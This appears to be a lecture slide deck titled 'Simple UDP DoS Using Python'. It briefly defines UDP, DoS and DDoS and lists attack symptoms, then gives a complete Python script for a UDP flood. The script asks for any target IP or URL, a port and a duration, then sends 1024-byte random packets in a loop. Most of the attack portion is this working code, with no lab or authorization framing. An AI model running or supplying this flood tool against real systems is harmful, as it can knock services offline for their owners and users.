Simple UDP DoS

Using Python

Lecturer: Иo1lz

OUTLINE

  • What is UDP?
  • What is DoS?
  • Programming

What is UDP?

  • User Datagram Protocol (UDP)
  • UDP uses a simple connectionless communication model with a minimum of protocol mechanisms.
  • There is no guarantee of delivery, ordering, or duplicate protection.

What is DoS?

a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet.

DDoS vs. DoS

A distributed denial-of-service (DDoS) is a large-scale DoS attack where the perpetrator uses more than one unique IP address, often from thousands of hosts infected with malware.

Symptoms

The United States Computer Emergency Readiness Team (US-CERT) has identified symptoms of a denial-of-service attack to include:

  • unusually slow network performance (opening files or accessing web sites)
  • unavailability of a particular web site
  • orinability to access any web site.

Programming

import os
import sys
import time
import socket
import random

import the extension

Install socket

pip install sockets
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
print("This is a simple tool for UDP DoS.")

set socket and packet

parameter details
socket.AF_INET for IPv4
socket.AF_INET6 for IPv6
parameter details
socket.SOCK_STREAM TCP
socket.SOCK_DGRAM UDP

Input target IP and set timeout.

ip = input("Target ip or url: ")
port = int(input("Port: "))
dur = int(input("Time: "))

Count timeout

timeout = time.time() + dur
sent = 0

DoS execution


while True:
    try:
        if time.time() > timeout:
            break
        else:
            pass
        sock.sendto(bytes, (ip, port))
        sent += 1
        print("Sent %s packets to %s" % (sent, ip))
    except KeyboardInterrupt:
        sys.exit()

Execute the program.

Thanks for listening.

Simple UDP DoS Using Python

By Иo1lz

Simple UDP DoS Using Python

  • 112